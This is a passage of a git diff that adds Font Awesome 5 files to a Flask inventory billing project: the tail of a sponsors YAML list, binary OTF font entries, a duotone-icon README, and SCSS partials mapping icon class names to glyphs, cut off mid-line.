Deskpro + url: 'http://www.deskpro.com' +discourse: + icons: + - discourse + label: Discourse + url: 'https://discourse.org' +doc-hub: + icons: + - dochub + label: DocHub + url: 'https://dochub.com' +draft2-digital: + icons: + - draft2digital + label: Draft2Digital + url: 'http://draft2digital.com' +dyalog-apl: + icons: + - dyalog + label: Dyalog APL + url: 'http://www.dyalog.com' +econopublish: + icons: + - hat-cowboy-side + label: EconoPublish + url: 'https://www.econopublish.com' +firstdraft: + icons: + - firstdraft + label: firstdraft + url: 'http://www.firstdraft.com' +fleetplan: + icons: + - helicopter + label: FLEETPLAN + url: 'https://www.fleetplan.net' +getaroom: + icons: + - archway + - dumbbell + - hotel + - map-marked + - map-marked-alt + - monument + - spa + - swimmer + - swimming-pool + label: getaroom + url: 'https://www.getaroom.com' +git-kraken: + icons: + - gitkraken + label: GitKraken + url: 'https://www.gitkraken.com' +gofore: + icons: + - gofore + label: Gofore + url: 'http://gofore.com' +'gripfire,inc': + icons: + - gripfire + label: 'Gripfire, Inc.' + url: 'http://gripfire.io' +guilded: + icons: + - guilded + label: Guilded + url: 'https://www.guilded.gg' +harvard-medical-school: + icons: + - allergies + - ambulance + - band-aid + - briefcase-medical + - burn + - capsules + - diagnoses + - dna + - file-medical + - file-medical-alt + - first-aid + - heart + - heartbeat + - hospital + - hospital-alt + - hospital-symbol + - id-card-alt + - notes-medical + - pills + - plus + - prescription-bottle + - prescription-bottle-alt + - procedures + - smoking + - stethoscope + - syringe + - tablets + - thermometer + - user-md + - vial + - vials + - weight + - x-ray + label: Harvard Medical School + url: 'https://hms.harvard.edu' +hips: + icons: + - hips + label: Hips + url: 'https://hips.com' +hire-a-helper: + icons: + - archive + - box-open + - couch + - dolly + - people-carry + - route + - sign + - suitcase + - tape + - truck-loading + - truck-moving + - wine-glass + label: HireAHelper + url: 'https://www.hireahelper.com' +hive: + icons: + - hive + label: Hive Blockchain Network + url: 'https://hive.io' +hornbill: + icons: + - hornbill + label: Hornbill + url: 'https://www.hornbill.com' +hotjar: + icons: + - hotjar + label: Hotjar + url: 'https://www.hotjar.com' +hub-spot: + icons: + - hubspot + label: HubSpot + url: 'http://www.HubSpot.com' +in-site-systems: + icons: + - toolbox + label: InSite Systems + url: 'https://www.insitesystems.com' +innosoft: + icons: + - innosoft + label: Innosoft + url: 'https://innosoft.com.sa' +inspira-bvba: + icons: + - chess-knight + label: Inspira bvba + url: 'https://www.inspira.be' +instalod: + icons: + - instalod + label: InstaLOD + url: 'https://instalod.com' +joe-emison: + icons: + - blender-phone + label: Joe Emison +joget: + icons: + - joget + label: Joget + url: 'http://www.joget.org' +jon-galloway: + icons: + - crow + label: Jon Galloway +kevin-barone: + icons: + - file-contract + label: Kevin Barone +key-cdn: + icons: + - keycdn + label: KeyCDN + url: 'https://www.keycdn.com' +korvue: + icons: + - korvue + label: Korvue + url: 'https://korvue.com' +max-elman: + icons: + - frog + label: Max Elman +med-apps: + icons: + - medapps + label: MedApps + url: 'http://medapps.com.au' +medapps: + icons: + - book-medical + - clinic-medical + - comment-medical + - crutch + - disease + - hospital-user + - laptop-medical + - pager + label: MedApps + url: 'https://medapps.com.au' +megaport: + icons: + - megaport + label: Megaport + url: 'https://www.megaport.com' +mix: + icons: + - mix + label: Mix + url: 'http://mix.com' +mizuni: + icons: + - mizuni + label: Mizuni + url: 'http://www.mizuni.com' +mrt: + icons: + - medrt + label: MRT + url: 'https://medrt.co.jp' +mylogin-info: + icons: + - user-shield + label: mylogin.info + url: 'https://www.mylogin.info' +napster: + icons: + - napster + label: Napster + url: 'http://www.napster.com' +nimblr: + icons: + - nimblr + label: Nimblr + url: 'https://nimblr.ai' +nompse: + icons: + - chalkboard + - chalkboard-teacher + label: Nomp.se + url: 'https://nomp.se' +ns8: + icons: + - ns8 + label: NS8 + url: 'https://www.ns8.com' +nutritionix: + icons: + - nutritionix + label: Nutritionix + url: 'http://www.nutritionix.com' +octopus-deploy: + icons: + - octopus-deploy + label: Octopus Deploy + url: 'https://octopus.com' +page4-corporation: + icons: + - page4 + label: page4 Corporation + url: 'https://en.page4.com' +pal-fed: + icons: + - palfed + label: PalFed + url: 'https://www.palfed.com' +patch-patrol: + icons: + - vest + - vest-patches + label: Patch Patrol + url: 'https://patchpatrol.com' +pcsg: + icons: + - horse-head + label: PCSG + url: 'https://www.pcsg.de' +perbyte: + icons: + - perbyte + label: PerByte + url: 'https://www.perbyte.com' +phabricator: + icons: + - phabricator + label: Phabricator + url: 'http://phacility.com' +promo-wizard: + icons: + - hat-wizard + label: Promo Wizard + url: 'https://promowizard.co.uk' +pulse-eight: + icons: + - volume-mute + label: Pulse-Eight + url: 'https://pulse-eight.com' +purely-interactive: + icons: + - kiwi-bird + label: Purely Interactive + url: 'https://www.purelyinteractive.ca' +pushed: + icons: + - pushed + label: Pushed + url: 'https://pushed.co' +quin-scape: + icons: + - quinscape + label: QuinScape + url: 'https://www.quinscape.de' +reacteurope: + icons: + - reacteurope + label: ReactEurope + url: 'https://www.react-europe.org' +readme-io: + icons: + - readme + label: Readme.io + url: 'http://readme.io' +red-river: + icons: + - red-river + label: red river + url: 'https://river.red' +replyd: + icons: + - replyd + label: replyd +resolving: + icons: + - resolving + label: Resolving + url: 'https://resolving.com' +rev-io: + icons: + - rev + label: Rev.io + url: 'https://rev.io' +rock-rms: + icons: + - rockrms + label: Rock RMS + url: 'http://rockrms.com' +rocket-chat: + icons: + - comment + - comment-alt + - comment-dots + - comment-slash + - comments + - frown + - meh + - phone + - phone-slash + - poo + - quote-left + - quote-right + - rocketchat + - smile + - video + - video-slash + label: Rocket.Chat + url: 'https://rocket.chat' +rodney-oliver: + icons: + - folder-minus + - folder-plus + label: Rodney Oliver +schlix: + icons: + - schlix + label: SCHLIX + url: 'http://schlix.com' +search-eng-in: + icons: + - searchengin + label: SearchEng.in + url: 'http://searcheng.in' +service-stack: + icons: + - servicestack + label: ServiceStack + url: 'https://servicestack.net' +shawn-storie: + icons: + - teeth + - teeth-open + label: Shawn Storie +shopware: + icons: + - shopware + label: Shopware + url: 'https://shopware.de' +shp: + icons: + - school + label: SHP + url: 'http://shp.com' +silicon-barn-inc: + icons: + - project-diagram + label: Silicon Barn Inc + url: 'https://siliconbarn.com' +sistrix: + icons: + - sistrix + label: SISTRIX + url: 'https://www.sistrix.de' +smup: + icons: + - shoe-prints + label: Smup + url: 'https://www.atomsoftware.com.au' +speakap: + icons: + - speakap + label: Speakap + url: 'https://speakap.com' +stay-linked: + icons: + - box + - boxes + - clipboard-check + - clipboard-list + - dolly + - dolly-flatbed + - pallet + - shipping-fast + - truck + - warehouse + label: StayLinked + url: 'https://www.staylinked.com' +sticker-mule: + icons: + - sticker-mule + label: Sticker Mule + url: 'https://stickermule.com' +studio-vinari: + icons: + - studiovinari + label: Studio Vinari + url: 'https://studiovinari.com' +supple: + icons: + - ad + - bullhorn + - bullseye + - comment-dollar + - comments-dollar + - envelope-open-text + - funnel-dollar + - mail-bulk + - poll + - poll-h + - search-dollar + - search-location + - supple + label: Supple + url: 'https://supple.com.au' +the-red-yeti: + icons: + - the-red-yeti + label: The Red Yeti + url: 'http://theredyeti.com' +the-us-sunnah-foundation: + icons: + - dollar-sign + - donate + - dove + - gift + - globe + - hand-holding-heart + - hand-holding-usd + - hand-holding-water + - hands-helping + - handshake + - heart + - leaf + - parachute-box + - piggy-bank + - ribbon + - seedling + label: The us-Sunnah Foundation + url: 'https://www.ussunnah.org' +themeco: + icons: + - themeco + label: Themeco + url: 'https://theme.co' +think-peaks: + icons: + - think-peaks + label: Think Peaks + url: 'https://thinkpeaks.com/' +typo3: + icons: + - typo3 + label: Typo3 + url: 'https://typo3.org' +uncharted: + icons: + - uncharted + label: Uncharted Software + url: 'https://uncharted.software' +uniregistry: + icons: + - uniregistry + label: Uniregistry + url: 'https://uniregistry.com' +us-sunnah-foundation: + icons: + - ussunnah + label: us-Sunnah Foundation + url: 'https://www.ussunnah.org' +vaadin: + icons: + - vaadin + label: Vaadin + url: 'http://vaadin.com' +via: + icons: + - car-crash + - draw-polygon + - house-damage + - layer-group + - skull-crossbones + - user-injured + label: VIA Traffic Software Solutions + url: 'https://www.via.software' +victor-costan: + icons: + - otter + label: Staphany Park and Victor Costan +vnv: + icons: + - vnv + label: VNV + url: 'https://www.vnv.ch' +watchman-monitoring: + icons: + - watchman-monitoring + label: Watchman Monitoring + url: 'https://www.watchmanmonitoring.com' +weedable: + icons: + - bong + - cannabis + - hippo + - joint + - mortar-pestle + - prescription + label: Weedable + url: 'https://www.weedable.com' +whmcs: + icons: + - whmcs + label: WHMCS + url: 'https://www.whmcs.com' +wodu: + icons: + - wodu + label: Wodu Media + url: 'https://www.wodu.com' +workrails: + icons: + - briefcase + label: WorkRails + url: 'https://www.workrails.com' +wpressr: + icons: + - wpressr + label: wpressr + url: 'https://wpressr.com' diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/otfs/Font Awesome 5 Brands-Regular-400.otf b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/otfs/Font Awesome 5 Brands-Regular-400.otf new file mode 100644 index 00000000..51d69ab8 Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/otfs/Font Awesome 5 Brands-Regular-400.otf differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/otfs/Font Awesome 5 Free-Regular-400.otf b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/otfs/Font Awesome 5 Free-Regular-400.otf new file mode 100644 index 00000000..c448aae8 Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/otfs/Font Awesome 5 Free-Regular-400.otf differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/otfs/Font Awesome 5 Free-Solid-900.otf b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/otfs/Font Awesome 5 Free-Solid-900.otf new file mode 100644 index 00000000..f2ed9d11 Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/otfs/Font Awesome 5 Free-Solid-900.otf differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/otfs/README.md b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/otfs/README.md new file mode 100644 index 00000000..b88d6835 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/otfs/README.md @@ -0,0 +1,19 @@ +A HEADS UP ABOUT DUOTONE ICONS ON THE DESKTOP +--------------------------------------------- + +Duotone icons are a bit different to use than other Font Awesome icons at the moment. + +* We currently recommend using the Duotone-specific optimized .svg vector + files. These can be found in the /svgs/duotone folder of this download. + +* Using Ligatures with Duotone Icons is NOT currently recommended - while we've + included a Duotone ligature-based font file in our Pro desktop download, we + can't recommend it as a way to use our icons on the desktop. Read the special + instructions for using duotones with ligatures here - + https://fontawesome.com/how-to-use/on-the-desktop/referencing-icons/duotone-icons#using-ligatures. + +You can read the nitty gritty on the current limitations desktop apps have that +made our Duotone ligature implementation diferent there as well. And our full +Duotone Desktop docs are available at: + +https://fontawesome.com/how-to-use/on-the-desktop/referencing-icons/duotone-icons. diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_animated.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_animated.scss new file mode 100644 index 00000000..7c7c0e17 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_animated.scss @@ -0,0 +1,20 @@ +// Animated Icons +// -------------------------- + +.#{$fa-css-prefix}-spin { + animation: fa-spin 2s infinite linear; +} + +.#{$fa-css-prefix}-pulse { + animation: fa-spin 1s infinite steps(8); +} + +@keyframes fa-spin { + 0% { + transform: rotate(0deg); + } + + 100% { + transform: rotate(360deg); + } +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_bordered-pulled.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_bordered-pulled.scss new file mode 100644 index 00000000..c8c4274c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_bordered-pulled.scss @@ -0,0 +1,20 @@ +// Bordered & Pulled +// ------------------------- + +.#{$fa-css-prefix}-border { + border: solid .08em $fa-border-color; + border-radius: .1em; + padding: .2em .25em .15em; +} + +.#{$fa-css-prefix}-pull-left { float: left; } +.#{$fa-css-prefix}-pull-right { float: right; } + +.#{$fa-css-prefix}, +.fas, +.far, +.fal, +.fab { + &.#{$fa-css-prefix}-pull-left { margin-right: .3em; } + &.#{$fa-css-prefix}-pull-right { margin-left: .3em; } +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_core.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_core.scss new file mode 100644 index 00000000..cbd4cf7c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_core.scss @@ -0,0 +1,21 @@ +// Base Class Definition +// ------------------------- + +.#{$fa-css-prefix}, +.fas, +.far, +.fal, +.fad, +.fab { + -moz-osx-font-smoothing: grayscale; + -webkit-font-smoothing: antialiased; + display: inline-block; + font-style: normal; + font-variant: normal; + text-rendering: auto; + line-height: 1; +} + +%fa-icon { + @include fa-icon; +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_fixed-width.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_fixed-width.scss new file mode 100644 index 00000000..970641ff --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_fixed-width.scss @@ -0,0 +1,6 @@ +// Fixed Width Icons +// ------------------------- +.#{$fa-css-prefix}-fw { + text-align: center; + width: $fa-fw-width; +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_icons.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_icons.scss new file mode 100644 index 00000000..f8dc0a08 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_icons.scss @@ -0,0 +1,1461 @@ +/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen +readers do not read off random characters that represent icons */ + +.#{$fa-css-prefix}-500px:before { content: fa-content($fa-var-500px); } +.#{$fa-css-prefix}-accessible-icon:before { content: fa-content($fa-var-accessible-icon); } +.#{$fa-css-prefix}-accusoft:before { content: fa-content($fa-var-accusoft); } +.#{$fa-css-prefix}-acquisitions-incorporated:before { content: fa-content($fa-var-acquisitions-incorporated); } +.#{$fa-css-prefix}-ad:before { content: fa-content($fa-var-ad); } +.#{$fa-css-prefix}-address-book:before { content: fa-content($fa-var-address-book); } +.#{$fa-css-prefix}-address-card:before { content: fa-content($fa-var-address-card); } +.#{$fa-css-prefix}-adjust:before { content: fa-content($fa-var-adjust); } +.#{$fa-css-prefix}-adn:before { content: fa-content($fa-var-adn); } +.#{$fa-css-prefix}-adversal:before { content: fa-content($fa-var-adversal); } +.#{$fa-css-prefix}-affiliatetheme:before { content: fa-content($fa-var-affiliatetheme); } +.#{$fa-css-prefix}-air-freshener:before { content: fa-content($fa-var-air-freshener); } +.#{$fa-css-prefix}-airbnb:before { content: fa-content($fa-var-airbnb); } +.#{$fa-css-prefix}-algolia:before { content: fa-content($fa-var-algolia); } +.#{$fa-css-prefix}-align-center:before { content: fa-content($fa-var-align-center); } +.#{$fa-css-prefix}-align-justify:before { content: fa-content($fa-var-align-justify); } +.#{$fa-css-prefix}-align-left:before { content: fa-content($fa-var-align-left); } +.#{$fa-css-prefix}-align-right:before { content: fa-content($fa-var-align-right); } +.#{$fa-css-prefix}-alipay:before { content: fa-content($fa-var-alipay); } +.#{$fa-css-prefix}-allergies:before { content: fa-content($fa-var-allergies); } +.#{$fa-css-prefix}-amazon:before { content: fa-content($fa-var-amazon); } +.#{$fa-css-prefix}-amazon-pay:before { content: fa-content($fa-var-amazon-pay); } +.#{$fa-css-prefix}-ambulance:before { content: fa-content($fa-var-ambulance); } +.#{$fa-css-prefix}-american-sign-language-interpreting:before { content: fa-content($fa-var-american-sign-language-interpreting); } +.#{$fa-css-prefix}-amilia:before { content: fa-content($fa-var-amilia); } +.#{$fa-css-prefix}-anchor:before { content: fa-content($fa-var-anchor); } +.#{$fa-css-prefix}-android:before { content: fa-content($fa-var-android); } +.#{$fa-css-prefix}-angellist:before { content: fa-content($fa-var-angellist); } +.#{$fa-css-prefix}-angle-double-down:before { content: fa-content($fa-var-angle-double-down); } +.#{$fa-css-prefix}-angle-double-left:before { content: fa-content($fa-var-angle-double-left); } +.#{$fa-css-prefix}-angle-double-right:before { content: fa-content($fa-var-angle-double-right); } +.#{$fa-css-prefix}-angle-double-up:before { content: fa-content($fa-var-angle-double-up); } +.#{$fa-css-prefix}-angle-down:before { content: fa-content($fa-var-angle-down); } +.#{$fa-css-prefix}-angle-left:before { content: fa-content($fa-var-angle-left); } +.#{$fa-css-prefix}-angle-right:before { content: fa-content($fa-var-angle-right); } +.#{$fa-css-prefix}-angle-up:before { content: fa-content($fa-var-angle-up); } +.#{$fa-css-prefix}-angry:before { content: fa-content($fa-var-angry); } +.#{$fa-css-prefix}-angrycreative:before { content: fa-content($fa-var-angrycreative); } +.#{$fa-css-prefix}-angular:before { content: fa-content($fa-var-angular); } +.#{$fa-css-prefix}-ankh:before { content: fa-content($fa-var-ankh); } +.#{$fa-css-prefix}-app-store:before { content: fa-content($fa-var-app-store); } +.#{$fa-css-prefix}-app-store-ios:before { content: fa-content($fa-var-app-store-ios); } +.#{$fa-css-prefix}-apper:before { content: fa-content($fa-var-apper); } +.#{$fa-css-prefix}-apple:before { content: fa-content($fa-var-apple); } +.#{$fa-css-prefix}-apple-alt:before { content: fa-content($fa-var-apple-alt); } +.#{$fa-css-prefix}-apple-pay:before { content: fa-content($fa-var-apple-pay); } +.#{$fa-css-prefix}-archive:before { content: fa-content($fa-var-archive); } +.#{$fa-css-prefix}-archway:before { content: fa-content($fa-var-archway); } +.#{$fa-css-prefix}-arrow-alt-circle-down:before { content: fa-content($fa-var-arrow-alt-circle-down); } +.#{$fa-css-prefix}-arrow-alt-circle-left:before { content: fa-content($fa-var-arrow-alt-circle-left); } +.#{$fa-css-prefix}-arrow-alt-circle-right:before { content: fa-content($fa-var-arrow-alt-circle-right); } +.#{$fa-css-prefix}-arrow-alt-circle-up:before { content: fa-content($fa-var-arrow-alt-circle-up); } +.#{$fa-css-prefix}-arrow-circle-down:before { content: fa-content($fa-var-arrow-circle-down); } +.#{$fa-css-prefix}-arrow-circle-left:before { content: fa-content($fa-var-arrow-circle-left); } +.#{$fa-css-prefix}-arrow-circle-right:before { content: fa-content($fa-var-arrow-circle-right); } +.#{$fa-css-prefix}-arrow-circle-up:before { content: fa-content($fa-var-arrow-circle-up); } +.#{$fa-css-prefix}-arrow-down:before { content: fa-content($fa-var-arrow-down); } +.#{$fa-css-prefix}-arrow-left:before { content: fa-content($fa-var-arrow-left); } +.#{$fa-css-prefix}-arrow-right:before { content: fa-content($fa-var-arrow-right); } +.#{$fa-css-prefix}-arrow-up:before { content: fa-content($fa-var-arrow-up); } +.#{$fa-css-prefix}-arrows-alt:before { content: fa-content($fa-var-arrows-alt); } +.#{$fa-css-prefix}-arrows-alt-h:before { content: fa-content($fa-var-arrows-alt-h); } +.#{$fa-css-prefix}-arrows-alt-v:before { content: fa-content($fa-var-arrows-alt-v); } +.#{$fa-css-prefix}-artstation:before { content: fa-content($fa-var-artstation); } +.#{$fa-css-prefix}-assistive-listening-systems:before { content: fa-content($fa-var-assistive-listening-systems); } +.#{$fa-css-prefix}-asterisk:before { content: fa-content($fa-var-asterisk); } +.#{$fa-css-prefix}-asymmetrik:before { content: fa-content($fa-var-asymmetrik); } +.#{$fa-css-prefix}-at:before { content: fa-content($fa-var-at); } +.#{$fa-css-prefix}-atlas:before { content: fa-content($fa-var-atlas); } +.#{$fa-css-prefix}-atlassian:before { content: fa-content($fa-var-atlassian); } +.#{$fa-css-prefix}-atom:before { content: fa-content($fa-var-atom); } +.#{$fa-css-prefix}-audible:before { content: fa-content($fa-var-audible); } +.#{$fa-css-prefix}-audio-description:before { content: fa-content($fa-var-audio-description); } +.#{$fa-css-prefix}-autoprefixer:before { content: fa-content($fa-var-autoprefixer); } +.#{$fa-css-prefix}-avianex:before { content: fa-content($fa-var-avianex); } +.#{$fa-css-prefix}-aviato:before { content: fa-content($fa-var-aviato); } +.#{$fa-css-prefix}-award:before { content: fa-content($fa-var-award); } +.#{$fa-css-prefix}-aws:before { content: fa-content($fa-var-aws); } +.#{$fa-css-prefix}-baby:before { content: fa-content($fa-var-baby); } +.#{$fa-css-prefix}-baby-carriage:before { content: fa-content($fa-var-baby-carriage); } +.#{$fa-css-prefix}-backspace:before { content: fa-content($fa-var-backspace); } +.#{$fa-css-prefix}-backward:before { content: fa-content($fa-var-backward); } +.#{$fa-css-prefix}-bacon:before { content: fa-content($fa-var-bacon); } +.#{$fa-css-prefix}-bacteria:before { content: fa-content($fa-var-bacteria); } +.#{$fa-css-prefix}-bacterium:before { content: fa-content($fa-var-bacterium); } +.#{$fa-css-prefix}-bahai:before { content: fa-content($fa-var-bahai); } +.#{$fa-css-prefix}-balance-scale:before { content: fa-content($fa-var-balance-scale); } +.#{$fa-css-prefix}-balance-scale-left:before { content: fa-content($fa-var-balance-scale-left); } +.#{$fa-css-prefix}-balance-scale-right:before { content: fa-content($fa-var-balance-scale-right); } +.#{$fa-css-prefix}-ban:before { content: fa-content($fa-var-ban); } +.#{$fa-css-prefix}-band-aid:before { content: fa-content($fa-var-band-aid); } +.#{$fa-css-prefix}-bandcamp:before { content: fa-content($fa-var-bandcamp); } +.#{$fa-css-prefix}-barcode:before { content: fa-content($fa-var-barcode); } +.#{$fa-css-prefix}-bars:before { content: fa-content($fa-var-bars); } +.#{$fa-css-prefix}-baseball-ball:before { content: fa-content($fa-var-baseball-ball); } +.#{$fa-css-prefix}-basketball-ball:before { content: fa-content($fa-var-basketball-ball); } +.#{$fa-css-prefix}-bath:before { content: fa-content($fa-var-bath); } +.#{$fa-css-prefix}-battery-empty:before { content: fa-content($fa-var-battery-empty); } +.#{$fa-css-prefix}-battery-full:before { content: fa-content($fa-var-battery-full); } +.#{$fa-css-prefix}-battery-half:before { content: fa-content($fa-var-battery-half); } +.#{$fa-css-prefix}-battery-quarter:before { content: fa-content($fa-var-battery-quarter); } +.#{$fa-css-prefix}-battery-three-quarters:before { content: fa-content($fa-var-battery-three-quarters); } +.#{$fa-css-prefix}-battle-net:before { content: fa-content($fa-var-battle-net); } +.#{$fa-css-prefix}-bed:before { content: fa-content($fa-var-bed); } +.#{$fa-css-prefix}-beer:before { content: fa-content($fa-var-beer); } +.#{$fa-css-prefix}-behance:before { content: fa-content($fa-var-behance); } +.#{$fa-css-prefix}-behance-square:before { content: fa-content($fa-var-behance-square); } +.#{$fa-css-prefix}-bell:before { content: fa-content($fa-var-bell); } +.#{$fa-css-prefix}-bell-slash:before { content: fa-content($fa-var-bell-slash); } +.#{$fa-css-prefix}-bezier-curve:before { content: fa-content($fa-var-bezier-curve); } +.#{$fa-css-prefix}-bible:before { content: fa-content($fa-var-bible); } +.#{$fa-css-prefix}-bicycle:before { content: fa-content($fa-var-bicycle); } +.#{$fa-css-prefix}-biking:before { content: fa-content($fa-var-biking); } +.#{$fa-css-prefix}-bimobject:before { content: fa-content($fa-var-bimobject); } +.#{$fa-css-prefix}-binoculars:before { content: fa-content($fa-var-binoculars); } +.#{$fa-css-prefix}-biohazard:before { content: fa-content($fa-var-biohazard); } +.#{$fa-css-prefix}-birthday-cake:before { content: fa-content($fa-var-birthday-cake); } +.#{$fa-css-prefix}-bitbucket:before { content: fa-content($fa-var-bitbucket); } +.#{$fa-css-prefix}-bitcoin:before { content: fa-content($fa-var-bitcoin); } +.#{$fa-css-prefix}-bity:before { content: fa-content($fa-var-bity); } +.#{$fa-css-prefix}-black-tie:before { content: fa-content($fa-var-black-tie); } +.#{$fa-css-prefix}-blackberry:before { content: fa-content($fa-var-blackberry); } +.#{$fa-css-prefix}-blender:before { content: fa-content($fa-var-blender); } +.#{$fa-css-prefix}-blender-phone:before { content: fa-content($fa-var-blender-phone); } +.#{$fa-css-prefix}-blind:before { content: fa-content($fa-var-blind); } +.#{$fa-css-prefix}-blog:before { content: fa-content($fa-var-blog); } +.#{$fa-css-prefix}-blogger:before { content: fa-content($fa-var-blogger); } +.#{$fa-css-prefix}-blogger-b:before { content: fa-content($fa-var-blogger-b); } +.#{$fa-css-prefix}-bluetooth:before { content: fa-content($fa-var-bluetooth); } +.#{$fa-css-prefix}-bluetooth-b:before { content: fa-content($fa-var-bluetooth-b); } +.#{$fa-css-prefix}-bold:before { content: fa-content($fa-var-bold); } +.#{$fa-css-prefix}-bolt:before { content: fa-content($fa-var-bolt); } +.#{$fa-css-prefix}-bomb:before { content: fa-content($fa-var-bomb); } +.#{$fa-css-prefix}-bone:before { content: fa-content($fa-var-bone); } +.#{$fa-css-prefix}-bong:before { content: fa-content($fa-var-bong); } +.#{$fa-css-prefix}-book:before { content: fa-content($fa-var-book); } +.#{$fa-css-prefix}-book-dead:before { content: fa-content($fa-var-book-dead); } +.#{$fa-css-prefix}-book-medical:before { content: fa-content($fa-var-book-medical); } +.#{$fa-css-prefix}-book-open:before { content: fa-content($fa-var-book-open); } +.#{$fa-css-prefix}-book-reader:before { content: fa-content($fa-var-book-reader); } +.#{$fa-css-prefix}-bookmark:before { content: fa-content($fa-var-bookmark); } +.#{$fa-css-prefix}-bootstrap:before { content: fa-content($fa-var-bootstrap); } +.#{$fa-css-prefix}-border-all:before { content: fa-content($fa-var-border-all); } +.#{$fa-css-prefix}-border-none:before { content: fa-content($fa-var-border-none); } +.#{$fa-css-prefix}-border-style:before { content: fa-content($fa-var-border-style); } +.#{$fa-css-prefix}-bowling-ball:before { content: fa-content($fa-var-bowling-ball); } +.#{$fa-css-prefix}-box:before { content: fa-content($fa-var-box); } +.#{$fa-css-prefix}-box-open:before { content: fa-content($fa-var-box-open); } +.#{$fa-css-prefix}-box-tissue:before { content: fa-content($fa-var-box-tissue); } +.#{$fa-css-prefix}-boxes:before { content: fa-content($fa-var-boxes); } +.#{$fa-css-prefix}-braille:before { content: fa-content($fa-var-braille); } +.#{$fa-css-prefix}-brain:before { content: fa-content($fa-var-brain); } +.#{$fa-css-prefix}-bread-slice:before { content: fa-content($fa-var-bread-slice); } +.#{$fa-css-prefix}-briefcase:before { content: fa-content($fa-var-briefcase); } +.#{$fa-css-prefix}-briefcase-medical:before { content: fa-content($fa-var-briefcase-medical); } +.#{$fa-css-prefix}-broadcast-tower:before { content: fa-content($fa-var-broadcast-tower); } +.#{$fa-css-prefix}-broom:before { content: fa-content($fa-var-broom); } +.#{$fa-css-prefix}-brush:before { content: fa-content($fa-var-brush); } +.#{$fa-css-prefix}-btc:before { content: fa-content($fa-var-btc); } +.#{$fa-css-prefix}-buffer:before { content: fa-content($fa-var-buffer); } +.#{$fa-css-prefix}-bug:before { content: fa-content($fa-var-bug); } +.#{$fa-css-prefix}-building:before { content: fa-content($fa-var-building); } +.#{$fa-css-prefix}-bullhorn:before { content: fa-content($fa-var-bullhorn); } +.#{$fa-css-prefix}-bullseye:before { content: fa-content($fa-var-bullseye); } +.#{$fa-css-prefix}-burn:before { content: fa-content($fa-var-burn); } +.#{$fa-css-prefix}-buromobelexperte:before { content: fa-content($fa-var-buromobelexperte); } +.#{$fa-css-prefix}-bus:before { content: fa-content($fa-var-bus); } +.#{$fa-css-prefix}-bus-alt:before { content: fa-content($fa-var-bus-alt); } +.#{$fa-css-prefix}-business-time:before { content: fa-content($fa-var-business-time); } +.#{$fa-css-prefix}-buy-n-large:before { content: fa-content($fa-var-buy-n-large); } +.#{$fa-css-prefix}-buysellads:before { content: fa-content($fa-var-buysellads); } +.#{$fa-css-prefix}-calculator:before { content: fa-content($fa-var-calculator); } +.#{$fa-css-prefix}-calendar:before { content: fa-content($fa-var-calendar); } +.#{$fa-css-prefix}-calendar-alt:before { content: fa-content($fa-var-calendar-alt); } +.#{$fa-css-prefix}-calendar-check:before { content: fa-content($fa-var-calendar-check); } +.#{$fa-css-prefix}-calendar-day:before { content: fa-content($fa-var-calendar-day); } +.#{$fa-css-prefix}-calendar-minus:before { content: fa-content($fa-var-calendar-minus); } +.#{$fa-css-prefix}-calendar-plus:before { content: fa-content($fa-var-calendar-plus); } +.#{$fa-css-prefix}-calendar-times:before { content: fa-content($fa-var-calendar-times); } +.#{$fa-css-prefix}-calendar-week:before { content: fa-content($fa-var-calendar-week); } +.#{$fa-css-prefix}-camera:before { content: fa-content($fa-var-camera); } +.#{$fa-css-prefix}-camera-retro:before { content: fa-content($fa-var-camera-retro); } +.#{$fa-css-prefix}-campground:before { content: fa-content($fa-var-campground); } +.#{$fa-css-prefix}-canadian-maple-leaf:before { content: fa-content($fa-var-canadian-maple-leaf); } +.#{$fa-css-prefix}-candy-cane:before { content: fa-content($fa-var-candy-cane); } +.#{$fa-css-prefix}-cannabis:before { content: fa-content($fa-var-cannabis); } +.#{$fa-css-prefix}-capsules:before { content: fa-content($fa-var-capsules); } +.#{$fa-css-prefix}-car:before { content: fa-content($fa-var-car); } +.#{$fa-css-prefix}-car-alt:before { content: fa-content($fa-var-car-alt); } +.#{$fa-css-prefix}-car-battery:before { content: fa-content($fa-var-car-battery); } +.#{$fa-css-prefix}-car-crash:before { content: fa-content($fa-var-car-crash); } +.#{$fa-css-prefix}-car-side:before { content: 